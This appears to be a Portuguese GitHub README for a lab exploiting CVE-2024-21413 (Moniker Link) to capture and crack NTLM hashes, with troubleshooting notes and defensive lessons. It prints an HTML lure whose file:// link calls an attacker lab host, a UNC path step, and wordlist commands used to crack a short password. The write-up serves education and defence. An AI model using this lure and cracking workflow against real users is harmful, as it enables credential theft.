e-m-e-k-a/moniker-link-lab-setupLaboratório de teste de penetração demonstrando a exploração do link moniker CVE-2024-21413 para roubo de credenciais NTLM, incluindo execução do ataque, cracking de hash e contramedidas defensivas
Laboratório prático de teste de penetração demonstrando a exploração do link moniker CVE-2024-21413 para roubo de credenciais NTLM. Este projeto documenta toda a cadeia de ataque, desde a configuração até o comprometimento de credenciais, incluindo desafios e soluções do mundo real.
Principais Conquistas: Execução bem-sucedida do ataque de link moniker tanto em ambiente de laboratório isolado (VM Windows 10) quanto em sistema real (PC Windows 11), demonstrando vulnerabilidades de segurança práticas e contramedidas defensivas.
Máquina de Ataque:
Sistemas Alvo:
Configuração de Rede:
Arquivo HTML (test.html):
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">clique em mim</a></p>
</body>
</html>
Método do Explorador de Arquivos:
\\192.168.56.101\test na barra de endereçosProblema:
Causa Raiz:
Solução:
Lição: O Firewall padrão do Windows fornece proteção eficaz contra este ataque. Os usuários devem mantê-lo ativado.
Problema:
nwigwecj112Honey (senha errada!)12Honey era de um teste anteriorCausa Raiz:
~/.john/john.potSolução:
1414Lição: Sempre verifique se você está quebrando o hash correto. Limpe o arquivo pot ou use senhas únicas para teste.
Problema:
1414 não encontrada no rockyou.txt (14 milhões de senhas)Causa Raiz:
Solução:
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
Lição: "Não está no rockyou.txt" ≠ seguro. Senhas curtas são vulneráveis a ataques direcionados e força bruta independentemente da presença na wordlist.
✅ Firewall do Windows - Bloqueou completamente o ataque quando ativado ✅ Navegadores Modernos - Chrome/Edge bloqueiam links file:// remotos ✅ Conscientização do Usuário - Solicitação manual exige ação do usuário
❌ Senhas Fracas - 4 caracteres numéricos facilmente quebrados ❌ Firewall Desabilitado - Erro comum do usuário ❌ Explorador de Arquivos - Sem aviso para caminhos UNC ❌ Protocolo NTLM - Autenticação automática para compartilhamentos SMB
1. Firewall é Crítico
2. Ilusão de Força da Senha
1414 não está no rockyou.txt (parece "forte")3. Interação do Usuário Necessária
Ofensivas:
Infraestrutura:
Moniker-Link-Lab-Setup/
├── README.md (este arquivo)
├── Documentation/
│ ├── attack-execution.md (guia de ataque passo a passo)
│ └── README.md (visão geral da documentação)
├── Screenshots/ (capturas de tela do ataque - a serem adicionadas)
└── Scripts/ (arquivo HTML de teste - a ser adicionado)
Técnicas:
Profissionais:
Todos os testes realizados em sistemas autorizados:
Aviso Legal: O acesso não autorizado a computadores é ilegal. Este projeto é apenas para fins educacionais e ambientes de teste autorizados.
LinkedIn: https://www.linkedin.com/in/chukwuemeka-nwigwe-624aa3292/ GitHub: @E-m-e-k-a
Data: Março de 2026
Uso educacional apenas. Não para testes não autorizados.
⭐ Se você achou este projeto útil, considere dar uma estrela no repositório!
| Métrica | Resultado |
|---|
| Senha Inicial | nwigwecj1 |
| Alterada Para | 1414 |
| Wordlist | Personalizada (2 entradas) |
| Tempo de Quebra | <1 segundo |
| Firewall | Desabilitado para teste |
| Status | ✅ Comprometida com sucesso |
| Métrica | Resultado |
|---|
| Senha | 1414 |
| Firewall | Inicialmente bloqueado, depois desabilitado |
| Autenticação | Solicitação manual (credenciais inseridas) |
| Tempo de Quebra | Instantâneo |
| Status | ✅ Comprometida com sucesso |